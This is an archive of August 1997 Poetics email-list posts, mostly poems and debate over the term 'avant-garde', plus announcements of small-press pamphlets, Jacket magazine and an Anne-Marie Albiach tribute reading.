Oh freedom! When will you return? ask the prisoners
in Fidelio;
it's a carpet for questionbeggars.
Mahler, too, took strolls;
jaw set,
hands clasped
behind the back,
glaring,
walking nowhere with determination;
and only finality stills this constant march
around centerless, unrelenting visions of
laurelled vulvas puking tenants for the ark.
.
*
Mother! Mother! remember me!
Siegfreid sings again.
The last concert of the Berlin Philharmonic's '45 season:
Brunhilde's Immolation.
Encore: The peripatetic prick is covered
by Hitler's folded hands.
Encore: The substance of black holes
is the teeth of gassed gypsies & jews.
And somedays it seems there is no being
with-in or -out
but a subject/object dialectic of hardliner principles
for wet love.
.
"surge propera amica mea"
Rise up, my love. Affirm yourself.
Are these the magic words Jesus spoke to Lazarus
(& Tim Finnegan)
so that Einstein could think a bottle of Kant
exploding above the untimely bier of mater...
and you still can't bury her.
.

*
Untimely!
The noun is neutered of time, the x axis --
the y is amplitude;
and you can exchange one axis for the other.
.
In an interview, 1936, Einstein admits the logic
of Bohr's rebuttal, but says he prefers
his own paradox;
less than a decade later, the applied science signature,
and a B-29 bird shat on Japan.
I AM THE BOMB!
(but he was afraid Hitler'd get it first)
I AM THE BOMB!
bring me the face of the man
who told you to bring him my face.
(whose last order; Verbrannte Erde,
scorched earth ((Erde, earth mother))...
I am the bomb asleep
dreaming confusion of face.
...called for the destruction of Germany).
dreaming the face of Whitman's
perfect mother.
.
When they drop the bomb, the bomb,
first your skin peels off.
Then, they say, your eyes fall out;
when they drop the bomb.
.
One hundred and twenty-nine
thousand,
five hundred and fifty-
eight, missing, injured,
and dead (Hiroshima).
.
"A wondrous trumpet shall intone
through the graves of every zone
compelling all before the Throne."
.
I remember
how similar
it looked,

but it
wasn't her.
.

Pete Landers

↑ Index

137. Alan J Sondheim

Re: how about poems?

Fri 8 Aug 1997

First, I'm not the only poet; second, I'm not sure I'm a poet. But the list is called Poetics, of course, and it's by and large poets and critics discussing poetics. The work I send to the list (I don't send all of it by a longshot) is work I feel fits within the category.

Alan

On Fri, 8 Aug 1997, Layne Russell wrote:

> *Pete mused:*
>
> *p.s. Sometimes the list sounds more like a bunch of critics than poets.*
> *How about some poems? Is Alan the only poet?*
>
> *I'm sure he's not -- why the lack? dunno. I've wondered too, but since*
> *I was the new kid in town, thought I would wait and watch a while. I*
> *also would love to see more poems in here....*
>
> *Layne*
>
> *----------***
>
> *a soddette's soddet*
>
> *soddened by the soddest moment of my life*
> *I saddled up to the side of a siddha*
> *and sighed.*
> *he softened his sudden sight*
> *and slid his sodder into my sled.*
> *oh super siddha*
> *I sapped*
> *thank you for slathering my slodden slip*
> *into slothdom and*
> *sifting the sod of my sadness,*
> *lifting me silkenly into satori.*

> *no more sodden sags for me.*
> *I'll sing the song of a sari'd soddette,*
> *a saga of the saved.*
>
> *(c) 1997 llrussell*

↑ Index

138. Steve Evans
Impercipient Lecture Series
Fri 8 Aug 1997

Two more installments of the monthly Impercipient Lecture Series (ILS) have appeared since our initial announcement to the List in June.

Aldon L. Nielsen's "No Saints in Three Acts: On Stephen Jonas," should begin appearing in mailboxes today. Nielsen is among the first to give Jonas's work the careful attention it both deserves and, in light of its fractured political commitments, demands. Great archival finds, including a powerful description of the Baraka/Jonas correspondence, combined with Nielsen's signature ability to practice a utopic form of close reading that models the desegregated mind while acknowledging the still-segregated social body, makes this a must read.

Beth Anderson's "Imperturbable Things: On Still-Life Poetics" is a wonderfully original meditation on the deceptive stillness at the heart of the linguistic storm in the work of Wallace Stevens, Barbara Guest, Marjorie Welish, Keith Waldrop, Ann Lauterbach, and others. Despite our canny release of this pamphlet in June, just as the blockbuster shown on Still Life got underway at New York's Museum of Modern Art, a handful (literally) of copies are still available.

We've also recently done a small reprint of our inaugural issue, "The Dynamics of Literary Change" by co-editor Steve Evans. A fair number of our issue on Bob Perelman's _The Marginalization of Poetry_ remain in supply.

The two back-issues that are unfortunately out of print at this time are: 1.2 Radical Dogberry and Society Sketches by Chris Stroffolino 1.3 The Ground is the Only Figure by Rosmarie Waldrop

Finally, to all the List-members who have shown support for the ILS through contributions verbal and financial: Thank You!

Steve Evans & Jennifer Moxley
61 E. Manning Street
Providence RI 02906-4008

↑ Index

139. J. Tate
Re: how about poems?
Fri 8 Aug 1997

Hello all,

Given the recent request for more poems, I thought it would only be fitting to make my first post to the list a poem.

When she is gone, I say with certainty:
the sky has never cupped the sullen clouds
that never sighed as stars and moon would crowd
into the wild seclusion of her back;
the earth goes round the sun, all cats are black,
dark houses slump their shoulders under snow,
all shutters closed, the only birds are crows.
When she returns, Copernicus is wrong;
the warm loops of her walk move crows to song,
the rooflines straighten, cats dress themselves in white,
sheer curtains breeze on open-windowed nights,
as she lies here, and mumbles dreams to me.

Joseph Tate
Graduate Student
Department of English
University of Washington, Seattle

↑ Index

140. henry g
Re: categorical doggerel
Fri 8 Aug 1997

On Fri, 8 Aug 1997 14:27:33 -0500 <[redacted]> said:
>
>The chroniclers in vain
>Look for signs of remain-
>Ing names during the Reign
>Of Contested Terrain.
>

This gets to the essence of "avant-garde". It's an adjective that gets loaded for whichever side you're on, or point you're trying to make.

All politics is local, that is, look for the details. Is your artist a subversive or a reformist? A nationalist or internationalist? Or maybe in the middle, considering the alternatives, pointing up the differences? The idea of being politically-

responsive artist means very different things to a Wallace Stevens & an Amiri Baraka, but one could argue they both thought about it a great deal. & every poem or work can be considered a mixed thing. Poem - edged by ideology, philosophy, propaganda, undigested imitation, and.... originality, emotion, humor, profundity... & labels & groups are more than just labels - they're decisions about what language seems right for the time & the people it represents... (always overdetermined mixed- motive decisions or undecisions...) i.e. what do you LIKE... - Henry Gould

↑ Index

141. **groberts**
categorical doggerel
Fri 8 Aug 1997

Late in the battle, the rear-guard cracks up:

What do we get when we combine
A fart and a bomb? The petard.
And when we cross rank and file line
With machine gun? The avant-garde.

In the confusion, someone delivers an epigram
from the ghost of Dr. Cunningham:

Hot boys accuse me-- academic.
For their fevers call me medic.

This messenger was promptly killed;
Since this was war, more words were spilled
Until the fray was clearly out of hand:
Many poems lay strewn about no man's land.

The chroniclers in vain
Look for signs of remain-
Ing names during the Reign
Of Contested Terrain.

-Gary R

↑ Index

142. **Pritchett,Pat**
Re: and why not a poem?
Fri 8 Aug 1997

Good idea, Layne & Peter! Since I wrote this "today" (i.e started it last night, put it in present form this morning) I'll post it.

P.S. - someone here noted that the term avant-garde was first applied to 13th century musicians, but it might do well to recall that it originated as a military term and as such could be thought of as applying to both crack troops and cannon fodder with equal justice. In any event - the idea of "Contested Terrain," as Gary points up.

THEORY OF NOSTALGIA

A man is all stealth,
listening does him in.

To move by excess is what
we mean by living.

A man is a knife and the road
he walks on cuts two ways.

Communication by lamplight
is a gesture towards infinity.

The day is a rant,
all fecklessness and high tide.

In MandelbrotÉs "entity of infinite resolution"
the demands for clarity grow unbearable.

A man is an entity with a gesture
towards resolution.

To be weary is what the living mean by it:
(the ceded) (the discontained).

Communication in a park with lamps
configures a nostalgia for infinity.

A man is a system of leaves and shadows.
He finds under lamplight the stone alone.

- Patrick Pritchett

↑ Index

143. **dbkk**
Re: "*alternative*avant-garde"
Fri 8 Aug 1997

At 11:11 AM +0000 8/8/97, Robert Archambeau wrote:

>I've been more comfortable with "alternative poetries" since A) this
>allows for a multiplicity of alternatives, rather than a

>united-in-purpose band of commandos
. . . . . .

> *As for who does the police and in what voices . . . they aren't neccessarily bad for poetics. In fact, we can, in playing the cop or the robber, come to understand what it is that we need to do in writing, and where we feel we ought to be going.*

Yes, Robert, I agree! As I've stated before, even though it may be unpleasant while one is mired in it, fighting between groups has been healthy for poetry--like you say, it motivates people to clarify their positions. Outsiders rarely understand these vary important distinctions that the participants feel on such a vital level. For instance, I'm thinking of the women of the Spicer/Duncan circle and other non/anti-Beat women who were included in that Women of the Beat Generation Anthology--some of them refused and others were vocally conflicted about being included among the very group they wrote against in their youth. (E.g., "If I hear the word Beat one more time I'm going to scream!") Is stupid attention better than marginalization/no attention?

On another note, I think that the "alternative poetries" of the 90s, rather than policing their borders, are more inclusive than the "alternative poetries" of the 80s--for instance, people (like myself) working in narrative are no longer actively snubbed. To me it feels more like lots of people are drawing from lots of different writings, much less a sense of (a) party line(s).

Dodie

↑ Index

144. Christina Fairbank Chirot

*Re: "*alternative*avant-garde" (fwd)*

Fri 8 Aug 1997

---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 08:40:52 -0500 (CDT)
From: Christina Fairbank Chirot <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: [redacted]
Subject: Re: "*alternative*avant-garde"

Whether one agrees with them or not two "standard" places to begin are Renato Poggioli The Theory of the Avant-Garde (Cambridge: Belknap/Harvard 1968) and The Theory of the Avant-Garde by Peter Burger (Minneapolis: U Minnesota P, 1984). The former has a lot of interesting historical background, the latter is more theoretical. I have been working for a while for fun on a kind of comic book/visual poetry series "Instant Classic vs. Planned Obsolescence". (inspired in equal parts by Gertrude Stein's "Composition as explanation"

essay with the famous outlaw to classic the interval is almost not there equation and Godzilla vs. Mothra, vs. megatron and etc). Perhaps a buried subtext in there re avant garde? Once for fun with a friend we made imitation National Guard posters changing the words to Avant-Garde but keeping the address and phone number of a recruiting office on it. Visting the office a week or so later they said yes they had gotten some strange calls about joining. Re Gertrude Stein/history/avant-garde etc (she read a lot of memoirs and a favorite was that of President/General Ulysses S. Grant)--the first sentence of Stein's Geographical History of America is very interesting. She notes being born in the same month as Washington and Lincoln. That is: two Presidents and Stein are equated: the "father of His Country", the "Great Emancipator" and Gertrude Stein! Also: Washington "could not tell a lie" and Lincoln was "Honest Abe"--so we know Gertrude Stein as well must be giving us the truth--or the "true gen" in Mr. Hemingway's terminology! Gertrude Stein--was she noting the connection between the military and the avant-garde here? Washington and Lincoln had "led their country in times of war" so to speak--(U.S. Grant as well--) And much of "Compostion as Explanation" is about the interrelationships among the changes in art and the changes in life brought about by WWI--that those in art had seen those of the war just ahead of time--Picasso seeing a camouflaged tank with its Cubist looking markings and saying: "We made that". (See this in Autobiography of Alice. B. Toklas--also see Wars I have Known) Then there are the the Threes with Gertrude Stein: Three Lives, the three Geniuses of AABT--Whitehead, Picasso, Stein--and the three leaders--Washington, Lincoln, Stein. There are over two hundred seventy-five book title entries under "avant-garde" in library here. Yet as one knows from the X Files: "the truth is out there" --out there Luigi made good point re this--Mail Art and so on--guerilla and open ended-- ZA DA

dBC

↑ Index

145. Peter Landers

Re: how about poems?

Fri 8 Aug 1997

Alan said,
"First, I'm not the only poet; second, I'm not sure I'm a poet..."

The question was as rhetorical as the answer :-)

Then again "... the list is called Poetics..."

But poetics is not criticism. It's something we live by. I'm certainly not looking for any false split between the critics and poets on the list. We've done that

before, and I usually go get a beer, as they say. I was glad to see others post some work. I'd like to see more, and I like the critical discussions (when they don't go flame happy). Just looking for a balance. The list would be more fun with more of a mix, I think. Also, a gazillion things can be spouted into the air, if there is air. Spouting in a vacuum is so dull.

Alan, I'm not sure I'm a poet, either, but I hope you enjoy those words.

Pete

↑ Index

146. Daniel Zimmerman
Re: "avantgarde"
Fri 8 Aug 1997

Maria Damon wrote:
>
> okay all you sweet yukyuks out there, i've got a question: why does "the
> avant garde" seem to need to police its borders so rigidly? how does some
> thing get defined or not as "avant garde?" i'm spozed to give a talk in
> November and i want to challenge what i see as some of the closedness of
> the avant garde tradition or at least the way it's construed by most of its
> critics.--md

Maria, Thinking of 'avant-garde,' I remember one of Arthur Okamura's illustrations to Creeley's 1-2-3-4-5-6-7-8-9-10: tiny humans in an aerial view of the shape a crowd takes when it heads off in a direction:

```
*       *
*       *
*       *
 *     *
  *    *
   *   *
    * *
     **
     **
     *
      *
    ***
    ***
     *
```

like that, sort of: the avant-garde forms the wedge ahead of the
skinny 'neck' of undecideds who don't know

whether to join the leaders or merge back into the bovine throng. Variations:

```
X         X       X         X       X         X
 X       X         X       X         X       X
  X     X           X     X           X     X
   X   X             X   X             X   X
    X X               X X               X X
    X X               X X               X X
     X                X                 X
     X                X                 X
    XXX               XXX               XXX
    XXX               XXX               XZX
     X                X                 X
     O                Y                 Z
    OOO               YYY               ZXZ
    OOO               YYY               ZZZ
   O   O             Y   Y             Z   Z
  O     O           Y     Y           Z     Z
 O       O         Y       Y         Z       Z
O         O       Y         Y       Z         Z
```

```
            X         X
             X  {YEE} X       [ONE MAN'S MEAT]
              X      X
               X    X
                X  X
                 XX  O
                 XX OOO        [CRITICAL
                XXX OOO         THEORY]
                 X OOOOO
                    O
                   O O
                  O   O
                 O     O
                 O {HAH} O     [ANOTHER MAN'S POISON]
                O         O
```

--Dan Zimmerman

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147. Steven Marks
and why not?
Fri 8 Aug 1997

Patrick Pritchett wrote:

In Mandelbrot's "entity of infinite resolution"
the demands for clarity grow unbearable.

These lines from Patrick's "Theory of Nostalgia" reminded me of two very short poems I had written. Here they are:

CULTURE

Up, ascending,
is heaven.
Down, descending,
is hell.
Or, as I look at it,
up is
the release of memory.
Down is
the furious breeding of further intricacies.

VOLITION

I am
as much impelled
as compelled.

Steven Marks

http://members.aol.com/swmarks/welcome.html

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148. David Bromige
avant ga-ga's
Fri 8 Aug 1997

agreed, the term has historical application but at this moment feels meaningless. "Experimental" sounds like it hasnt actually got started yet. "Alternative" can sound like "alternative to what--poetry!?" I liked "exploratory" until I heard it sounded like surgery, weith more bad news to follow."Marginalized" is too true to put up with. I always liked "Present writing" and perhaps its day has

come. To a practicioner it's not a problem until he has to hawk his wares--these categories are barrows in a street-market. David

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149. **Hugh Steinberg**
Re: "*alternative*avant-garde"
Fri 8 Aug 1997

Bob writes:

>my preferred term would be
>"otherstream poetry," which I define as any poetry that has never (to
>any serious extent) gotten into an anthology of poetry published by a
>"reputable" publisher--like Norton--or been seriously discussed in a
>book of criticism published by such a publisher...
>
I really like this idea, but I'd argue that it is far more encompassing than as Bob puts forth in his posting. I think there are two otherstreams out there: the first being the type of poetry that isn't widely accepted, and the other being the kind that is widely (I'd argue predominately) accepted, but isn't necessarily approved by the various institutions that support poetry. I'm thinking of the ordinary act of writing poems that most people do for personal reasons. Poems that are written out of a general ignorance of institution based poems (poems written by people who don't read poetry). Most of it is horrible, sentimental, cliched, etc.

But in a discussion of avant-gardes, they're often the real target. That is, what are avant-gardes for? They exist to change the way people think. The more ambitious the avant-garde, the more people they want to affect.

This otherstream poetry has been influenced by some groups much more than others, and sometimes it stands traditional categories right on their head. For example, when an otherstream poem doesn't use rhyme and meter (most do, as a signifier of poem vs. non-poem), I'd argue it comes more from writers like Carl Sandburg, Vachel Lindsay, Edgar Lee Masters, et al, than their much more institutionally respected contemporaries like Ezra Pound or Gertrude Stein. I know I'm sounding a little perverse here, but in the otherstream world "Desiderata" can be seen as one of the most influential poems of the 20th century (as observed by my roommate's girlfriend, who wrote him a poem that is nothing but a list of unrhymed aphorisms).

I'd be interested in discussion about which groups of avante-garde writers have been able to impact the otherstream, as well as how (and why) they were able to do it.

Hugh Steinberg

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150. Alan J Sondheim
apologies as the maudlin makes its entrance
Fri 8 Aug 1997

-

This machine acts alone.
In the cafe, this machine runs, draining the blood from me.
Keys exhale with every touch, every character has received
the caress of delicate fingers.
I am magnetic domain, I am Net domain.
I want to sink in magnet hysteresis, want to slide in Net hysteria.
Without your body I am lost. Machine loops the machine. Julu is crying.
This machine tilts the great empty city. Jennifer is here,
split among us.
Jennifer says to Jennifer, Julu is absent, Alan is hysteric.
Jennifer trembles.
Great wheels gyre above the cafe, spokes cutting lines like knives.
Great wheels in the sky.
Jennifer trembles for Jennifer. What if Alan ...
The machine acts alone.

↑ Index

151. henry g
avant any garde
Fri 8 Aug 1997

---

here's a short avant anygarde poieoym I wrote many yrs ago:

My countrymen dreaming and drinking down
the livelong day in your smooth Cadillacs
Americans made of nostalgia, playing the clown
on roads past the high school railroad tracks

go on, play the radio, shoot for the moon
your little boy up from grasslands not for hire
is building a tricycle in the backyard, and soon
he'll step inside a brand new chariot of fire

- Henry Gould

↑ Index

152. Rachel Levitsky
Re: avant ga-ga's
Sat 9 Aug 1997

David Bromige wrote:
>
> agreed, the term has historical application but at this moment
> feels meaningless. "Experimental" sounds like it hasnt actually got started
> yet. "Alternative" can sound like "alternative to what--poetry!?" I liked
> "exploratory" until I heard it sounded like surgery, weith more bad news to
> follow."Marginalized" is too true to put up with. I always liked "Present
> writing" and perhaps its day has come. To a practicioner it's not a problem
> until he has to hawk his wares--these categories are barrows in a
> street-market. David

Dear David,

At Naropa this summer there was a "prose poem" week. In the dx, Cole Swenson spoke of writing in the margin, margin between rather than on the edge of. Carla Harryman spoke/speaks of 'Hybridity' and Don Guravich blurts out 'it's all just writing' and many get on the bandwagon 'no difference' which is as problemmatic as those who say about race 'what's the problem, we're all human.' One problem with it that when distinction is not recognized the dominant obliterates the marginal, the dominant will always assert itself. So we're left in the quagmire of naming ourselves when we no that what is ourselves is too complex to be uniformly named. I run into this problem calling myself 'Lesbian' when I what I mean by that changes all the time but its more meaningful than saying 'not straight'

How about 'making strange'?

--Rachel

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153. Rachel Levitsky
Re: how about poems?--For Alan
Sat 9 Aug 1997

Sounding Board

for Alan Sondheim

Besides dreaming the woman in question in her room as she described it plus the convenient addition a plugged in vibrator on her bed laid there as mine is laid here where I lounge reading text that waivers in and out of a sexual momentum or coherence. It is a good life though not necessary. Now one hand

smells and one does not. They have been placed strategically to peruse the meaning of the various holes. No matter how many you start out with, the body lays flat in its possible juices. The ones we eat are not necessarily the ones we asked for--there is no way to know.

It is too wet to get to the museum but not to wet to go to the museum. Let it affect your consciousness, act nasty or get behind something you care nothing about. Later, you'll laugh about it on that uncomfortable futon the best you can afford. The problem with the bad half&half was that it made the coffee bad. The same can be said for sex. Certain combinations are disaster for the consumer. Every member of the Happy Clubhouse would tell you this, but so far few have asked and no one who'd do anything about it.

Helping them to help themselves

Like I said, this began with a confusion between money and memory. Indeed, if you could hand me either, I can assure you it will be emptied though righteousness is tenuous. False memory, The Gap, I can't help stealing from big things when they are costly. Bargain basements hook me every time. How long did you let it sit out? How long must it be left out? And if there is unrelenting rain, the possibilities. In a flash flood you will lose things.

Most victims didn't buy flood insurance
No me quitas pas

Or as you were saying about the snow. The amount of weight the branch permits the leaves to bear before it breaks. There is much you can figure out so take upon yourself to prevent certain events there labeled disaster. Logically, what will happen to the previous losses as they shift position to the back of the general's head. As had happened through the epidemic. We no longer considered them. In the name of, floods, borders, balanced books.

I don't want to argue about it.

Things are again shifted and look, what we call your responsibility. The impossibility of growth and/or separate interests. The Israelis are serious but have redesigned the protocol. His shirt burned off by the latest blast, he sits and waits, looking plainly bitter. Notice the watch, the numbers tattooed. Victimhood looks again, a face that aims not for glamour yet is. More so? Ruptured protocol reemerges as successful, as color, from black and white.

There's a Movement Underground

Photojournalism = journalism made history. Made hippies. Some mornings I think I'm a happy person. Some words get printed. She's a journalist who also writes novels. I can't get past the game of it. I ride in your back seat[thinking][meditating][labeling][identifying][looking][like] I'm staring out your window,

innocent, inocencia. Glamour. Love or lose? Drunk with it he finally got silent, then again, he was always silent.

----------notes:

“Most Victims”--From an AP heading, May 13, 1997
“No Me Quitas--Nina Simone
“I don’t”--Me with the grocery clerk
“There’s a Movement”-- Prescriptions makeup adline, from Fall 94, blitzkrieged onto the New York subway ad space, seen by me upon returning from a year in Mexico, after having left New York in 1993 upon the dissolution of AIDS and Queer Activism.

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154. John Tranter
Jacket magazine
Sat 9 Aug 1997

"Full Maternity Jacket" - an annunciation from John Tranter

I'm happy to announce that Jacket magazine -
free, fast-loading, international, full of stylish writing -
finally has its own proper and permanent site on the Internet, at

http://www.jacket.zip.com.au

The first issue contains interviews with English poet Roy Fisher and Australian aboriginal poet Lionel Fogarty, a look at the 1943 hoax poet Ern Malley (an old favorite of John Ashbery's and mine, too), work by Charles Bernstein, Elaine Equi, Pamela Brown, Alfred Corn, Joanne Burns, Tracy Ryan, Carl Rakosi, Peter Minter, Susan Schultz and Paul Hoover, reviews of John Berger and Les Murray, the poetry of the late Martin Johnston, and a glimpse of the Xmas 1997 John Ashbery "special issue", together with photos and art work.

Jacket # 1 will be added to until the end of September 1997, when the first issue will be finalised.

Jacket issue # 2 will focus mainly on the work of John Ashbery, who turns 70 this year, but there will be lots of other material as well. It will be uploaded piece by piece from early September 1997, and finalised by Xmas 1997.

Please note that Jacket editor John Tranter's e-mail address is now

[redacted]

Please tell your friends about Jacket, whose motto is

"bop till you drop!"

--
John Tranter >>> [redacted] <<<
39 Short Street, Balmain NSW 2041, Australia
ph ([redacted] fax ([redacted]

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155. **Bob Grumman**

The Otherstream

Sat 9 Aug 1997

Phooey, what a way to have to start the morning: I have to call for the execution of Hugh Steinberg. His offense? EGREGIOUS MISUSE OF MY TERM, "OTHERSTREAM."

Actually, I set him up by incompletely defining otherstream poetry as "any poetry that has never (to any serious extent) gotten into an anthology of poetry published by a 'reputable' publisher--like Norton--or been seriously discussed in a book of criticism published by such a publisher..." So I hereby redefine it as "any TECHNICALLY DISTINCT VARIETY OF poetry that has never, etc., etc." Visual poetry is always my primary example, though Marjorie Perloff's course in it, and what Harry Polkinhorn has been doing at San Diego State, and other developments may be changing that.

I agree with Hugh that there are two (or more) streams of work that are not widely accepted, but consider only one of them otherstream. The second "otherstream" he speaks of--"poems that are written out of a general ignorance of institution based poems (poems written by people who don't read poetry)"--is, for me, knownstream because it's not doing anything technically new. It's wannabe mainstream, or unsuccessful mainstream, or left-behind mainstream, or overlooked mainstream (as I believe Robert Frost was when Pound "discovered" him).

I just thought of a name for it: sundaystream poetry, or the poetry of weekend poets--though it would also, unfairly, include the poetry of people working seriously and full-time in mainstream poetry who simply haven't done whatever is required besides writing good poetry to be accepted by the establishment. I did sundaystream poetry for a long time myself so have nothing against it--and, with Hugh, am most interested in how it is being affected by other poetries. But puleeze don't call it "otherstream."

--Bob G.

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156. **robert drake**
Re: "*alternative*avant-garde"
Sat 9 Aug 1997

maria--

glad for yr thoughts. of the examples you give, several seem to be about papers or publishing, which dont seem (to me) to have anything to do with your original query ("why does 'the avant garde' seem to need to police its borders so rigidly?") which i read to mean policing it's _own_ borders... and even w/ the example of th poetics list, its not clear to me that the list in general (or any subset in particular) constitutes an a.g.; nor is it clear that having a (nubuliously definded) topic of "newer poetries" is th same as "policing the borders". (praps you're refering to the recent arrest trial and sentancing ov Kim Dawn?) but, if yr refering to a general sense (which i share) that discussion ov nichol is more likely to generate interest than discussion ov angelou-- i'm not sure that conjures the same vision of billyclubing men in blue...

certainly, there are examples... Fluxus had it's endless lists of "members", frinstance (tho i mself am not entirely convinced that those lists werent something of a performance piece by maciunas...). but, i think any closedness is probably specific to the particular case; i dont think there's a general answer...

but now, as i go back to th original query--"the closedness of the avant garde tradition *or at least the way it's construed by most of its critics*" (emphasis added)... ah. arent those two different questions? and, tho again i'd wanna address particulars, it makes sense to me that "the critics" might feel a little left out, or left behind, by some a.g. tendencies? which is not the same as an a.g. is policing its borders... and i suppose that by saying that i reveal my own perception that (present company excluded) most critics tend towards th normative & established...

yrs,
etc.

> *thank you all, david k, bill m, david i, charles a, etc. i share many of your beliefs, such as, that vanguardism (my preferred term) is a process rather than a coterie or school. however, in my professional life, i've encountered enough instances where the boundaries are tightly defined to lead me to believe there is some anxiety about borders. for instance, i was recently asked for permission to reprint my bob kaufman essay in an anthology of essays on "the avant garde." i said okay, but in my opinion my essay on poetry by some teenage girls in a boston housing project was much more interesting, more adventurous, less man-and-his-work formulaic. the answer was: well i do "cultural studies" myself, but in this project i'm working with a fairly traditional understanding of the "avant garde," so i'll stick w/ the kaufman piece. for another instance, when i proposed*

> *a paper for the conference i mentioned, on "the poetics of avant garde poetry," there was some hesitatiion over acceptiing my paper because its definition of "avant garde" was too broad (won't it render the term meaningless to broaden it? was the question.) again, i was advised by colleagues on the organizing side of things to stress that i was working with a "cultural studies model," i guess to provide reassurance that there was some recognized method to my intentions. also, my introduction to this list and partcipation, while in some ways broadening (in that i've learned about poets i didn't know about before) has also been a narrowing, as the list is quite explicitly intended for discussion of newer poetries (i can't recall exactly the wording of the bernstein welcome). i don't mean to wax victimy or snide in these personal anecdotes, i hope you all realize how much i enjoy learning all this new stuff and getting to know y'all. these moments of feeling the barriers come up have been interesting because they foreground categorical, operative divisions that are sometimes disavowed at the more overt level.*
> *another line that gets drawn is that of aesthetic judgment, and the assumption that we all share certain judgments (hallmark card verse is embarrassingly bad, so is maya angelou's poetry; bpNichol is fabulous, etc --don't get me wrong, i love bpNichol and i don't buy hallmark cards but i do find angelou's poetry meaningful, esp when i see how deeply it touches my students). as i've said here before, aesthetic judgment has been the dividing line between me and some of the people i've worked with. in fact i tend to trust them cuz i don't trust myself, so i usually concede at the level of editorial revision, but at the metalevel i'm asking, why is it SO overridingly important that there be some kind of consensus of aesthetic judgment? or, why is this consensus the basis of our community or commonality?--md*

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157. **dbkk**

Anne-Marie Albiach tribute in San Francisco

Sat 9 Aug 1997

This is Kevin Killian. Today's the 60th birthday of the French poet Anne-Marie Albiach and last night here in San Francisco was the Albiach tribute organized by Dodie Bellamy and Small Press Traffic. I was there, in the theater space at New College, and I know you're all curious, how did it turn out?

Successfully I think. OK there were a few glitches here and there. Kush the marvelous videographer failed to show up, and earlier in the week Small Press Traffic's office was rifled and the microphone stolen. However a tape recorder was available and thus Dodie can prove the event really did take place, documentation being "everything." Norma Cole began the evening by sketching out some of the salient turns in Albiach's career and showed us a double portrait. One photo was of the young Albiach in 1969, a glamor portrait a la George

Hurrell on the occasion of the publication of "Etat." We were all struck by how much she (AMA) resembled the young Katherine Ross in Curtis Harrington's "Games." Then another kind of portrait, Jean Daive's imaginative portrait of AMA done solely through her punctuation. Cole then read from Albiach's "Gradiva," and read part of AMA's translation of Louis Zukoksky's "A"-9. Barbara Guest rose and read what sounded like a new poem, a "Reverie" for AMA. Benjamin Hollander combined parts of two previous essays to create an atmosphere, a theatrical atmosphere which effectively illustrated what he called the "nocturnal" aspect of Albiach's writing (and its effect on the reader). Michael Palmer read an essay reminiscing on visiting (or trying to pay a visit to) AMA in Paris, she wasn't home, so, he said, the absence of the non-encounter lived up to the highest expectations of both parties, and then he read "Five Easy Poems," dedicated to AMA. Mary Margaret Sloan spoke briefly on the influence AMA has had over the years on the work of North American woman poets, and read from AMA's book "Mezza Voce." Cole Swensen read from "'Vocative Figure.'" Then everyone turned to the cake, the "gateau," and tore that sucker to shreds (or crumbs, I suppose). There was much mingling, wine, and etc., if only Steve Carll were still on this list he could tell you all the names of the poets and artists who attended.

I thought it would be a case of preaching to the converted but there were many there who had apparently never heard of Albiach, and all the copies of "Mezza Voce" were quickly sold out, attesting to the event's success as, well, a kind of promotion for the glamorous, reclusive diva of Neuilly-sur-Seine. However not all were so easily persuaded and one famous poet afterwards was overheard murmuring that she still disliked Albiach's writing and what was all the fuss about anyhow. This made me think of Rachel Levitsky's post about when "the dominant obliterates the marginal, the dominant will always assert itself"though I can't piece out how it applies exactly.

Anyhow, thanks to all who worked on this event behind the scenes, in front of the podium, in the audience, and thanks to all the US and Canadian poets who signed the series of tacky Hallmark cards for AMA's birthday, which were delivered to her ahead of time and which stunned and surprised her and made her weep with this kind of absent French pleasure.

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158. **Jacques Debrot**

Re: "*alternative*avant-garde" (fwd)

Sat 9 Aug 1997

Despite its problematic status, I think it's a mistake to give up -- or to concede -- the metaphor, "avant-garde." In addition to the texts that have already been

mentioned over the last several days during the course of this discussion, let me add 3 more -- the first 2, Hal Foster's "What's Neo about the Neo-Avant-Garde?" and Benjamin Buchloh's "Theorizing the Avant-Garde" -- go a long way in rebutting the failures Peter Burger attributes to the post WW2 avant-gardes. The 3rd, Andrew Benjamin's *Art, Mimesis and the Avant-Garde,* is an extremely interesting attempt at describing the avant-garde in terms of what he calls the limit experiences of *the as-yet-to-be-determined*. Tradition, by contrast, is seen by Benjamin as a repetition of a *determination made in advance* -- a legislative/regulative function which posits a singular and recoverable inner meaning for works of art. Of course, Benjamin realizes that, while there is a dominant tradition, tradition itself is not a univocal term since there are also differing and marginal traditions. The point is that the traditional *intends* to be univocal. However Benjamin does not define the avant-garde merely in terms of its resistance to tradition. This would only retain the dominant dichotomy. But in an argument that is much too subtle to recapitulate here, Benjamin conceives of the avant-garde art object as affirming an "interpretive differential plurality." In other words the avant-garde work of art, like the avant-garde itself, is seen as being in a continual and inexhaustible state of *becoming.* Benjamin writes: "it is the capacity for an experience of the as-yet-to-be-determined to generate reflection. Reflection, in this instance, will emerge at the limit of understanding -- in other words at that point where the percept, object of experience, etc., is such that it cannot be automatically assimilated to, and hence only explicable within, the terms decreed by" tradition. If none of this seems convincing the fault is due to my simplistic summary -- but, in any case, Benjamin's work seems to me to persuasively refute the idea that the avant-garde has a "policing function."

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159. **James Finnegan**
Re: "*alternative*avant-garde"
Sat 9 Aug 1997

Though the term "avant-garde" can be misapplied, I still find it of use. I think it's wrong to apply it to any movement that's not broken with the mainstream and moved poetry forward/outward in some important way. Language poetry is/was avant-garde. ("Was avant-garde," if you believe it's run its course and is now subsumed in the mainstream, has aged to the point of being old hat, or was a literary dead-end--the equivalent of the Neanderthal line in ape-human evolution.)

"Avant-garde" should not be applied to movements like
Slam Poetry or the New Formalism. The latter is a retrograde
poetry, though a little freer and less delimited relative to

subject matter than traditional verse had been.
The former, Slam, takes several known poetries--(1)
the socio-political rant and reportage (a Beat mainstay);
(2) the much older and ever-present sentimental poetry
of love, loss and tragedy; (3) the hyper-confessional and
edgy-comic strains of late eighties and nineties--and to these
Slam adds the dynamics of performance and competition.
An innovation, yes, but not really something I would consider
avant-garde.

